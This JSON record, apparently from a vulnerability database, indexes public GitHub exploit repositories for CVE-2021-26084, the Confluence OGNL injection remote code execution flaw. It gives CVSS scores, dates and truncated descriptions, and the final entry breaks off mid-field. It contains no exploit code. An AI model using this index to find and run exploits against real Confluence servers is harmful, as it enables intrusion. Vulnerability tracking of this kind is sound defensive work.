{"githubexploit": [{"lastseen": "2022-02-23T04:27:16", "description": "# CVE-2021-26084\nAtlassian Confluence CVE-2021-26084 one-liner ...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-07T01:15:16", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2022-02-22T21:21:20", "id": "A4DD8B03-CBED-5284-83EA-6C21FE0EA21C", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-09-11T11:49:33", "description": "# CVE-2021-26084-EXP\r\n\r\nThis code is an exploit for the CVE-2021...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2023-07-03T07:31:29", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence Server", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2023-09-11T11:40:35", "id": "5DB14853-1EDB-5A80-BD98-BB388CC80401", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-06-10T20:52:47", "description": "# CVE-2021-26084\n<p align=\"center\">\n <img src=\"https://user-ima...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-04T13:32:42", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence Server", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2022-04-23T04:56:52", "id": "2C7E80B0-6BD9-590B-A1D6-F10D66CD7379", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-06-10T20:47:15", "description": "# CVE-2021-2608...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-01T12:36:52", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence Server", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2022-03-04T03:09:22", "id": "00AD1BE3-F5D6-5689-83B0-51AD7D8AFE8D", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-06-10T20:52:06", "description": "This is a quick and dirty poc, tuned for a specifc confluence in...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-07T12:04:09", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence Server", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2021-09-11T18:14:44", "id": "63E9680A-4D3C-5C4C-9EB3-63F2DB64F66D", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-06-06T20:18:53", "description": "<h1 align=\"right\">\n <br>\n <a href=\"https://github.com/smadi0x8...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-05T09:27:55", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence Server", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2023-03-21T07:43:04", "id": "CC614155-FD7D-599B-B89C-006B26D76F48", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-06-10T20:52:47", "description": "# CVE-2021-26084\nConfluence OGNL injection\n\nCVE-2021-26084 is an...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-09T06:19:13", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence Server", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2022-03-31T23:43:54", "id": "A9A21055-01FA-5B3E-84B3-E294A9641418", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-09-11T11:54:31", "description": "# CVE-2021-26084-EXP\r\n\r\nThis code is an exploit for the CVE-2021...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2023-07-03T07:31:29", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence Server", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2023-09-11T11:40:35", "id": "69FAE88E-7F22-5ACC-B555-3441BE00C566", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-06-10T20:47:01", "description": "# CVE-2021-26084\nCVE-2021-26084 Confluence OGNL injection\n\n![\u56fe\u7247]...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-03T07:41:36", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence Server", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2021-12-27T09:00:16", "id": "B16D26DB-D60C-5C0C-9452-80112720B442", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-06-06T17:29:36", "description": "<h1 align=\"right\">\n <br>\n <a href=\"https://github.com/smadi0x8...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-05T09:27:55", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence Server", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2023-03-21T07:43:04", "id": "5C66B0C2-B7C3-5BF1-AE5C-846940E188A6", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-13T23:25:08", "description": "# CVE-2021-26084\nCVE-2021-26084 - Confluence Pre-Auth RCE | O...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-31T16:33:32", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence Server", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2022-07-13T21:41:32", "id": "28091F24-DF21-50D7-8BBB-F4C77F5B07C9", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-09-11T11:54:27", "description": "# CVE-2021-26084-EXP\r\n\r\nThis code is an exploit for the CVE-2021...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2023-07-03T07:31:29", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence Server", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2023-09-11T11:40:35", "id": "F5B504D7-7C37-5BAB-94A5-1F1DA8384055", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:38:38", "description": "# CVE-2021-26084\nConfluence aut...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-08T11:01:49", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2021-10-22T04:53:46", "id": "EF37F62F-1579-535A-9C3E-49B080F41CAC", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-09-17T02:06:08", "description": "# CVE-2021-26084\n\nCVE-2021-26084 Remote Code Execution on Conflu...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-01T09:50:26", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence Server", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2023-09-16T21:47:10", "id": "3B46E8A8-B6A0-5055-9270-F6B2A1F204FD", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-05-27T15:45:32", "description": "# CVE-2021-26084\n# confluence\u8fdc\u7a0b\u4ee3\u7801\u6267\u884cRCE\n\n## Code By:Jun_sheng @\u6a58\u5b50...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-10-25T03:07:28", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence Server", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2022-01-02T13:22:29", "id": "BF930E9B-ED2F-52A3-87ED-2082926ED9B1", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-08-06T07:52:51", "description": "# ConfluCHECK\nPython 3 script to identify CVE-2021-26084 via net...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-23T19:45:31", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence Server", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2021-11-24T19:02:52", "id": "6BB53677-CE73-5D62-9443-E0D71E27C1C8", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:29:20", "description": "# Confluence_CVE-2021-26084\nRemote Code Execution on Confluence ...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-01T12:19:53", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2021-10-26T06:18:41", "id": "4D1ED4A9-C9F8-55A0-8B96-52D4C189331C", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-06-10T20:45:54", "description": "# CVE-2021-26084\nThis i...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-02T07:05:23", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence Server", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2021-09-02T07:07:25", "id": "DC2A0BD8-2ABF-5885-957D-0FA3B058665C", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:34:58", "description": "# confluence-rce-poc\nSetting up ...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-04T14:53:38", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2021-09-04T15:16:43", "id": "07C144EB-D3A5-58B3-8077-F40B0DD3A8C9", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-25T03:02:01", "description": "# CVE-2021-26084\n\nCVE-2021-26084 Remote Code Execution on Conflu...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-01T09:50:26", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence Server", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": 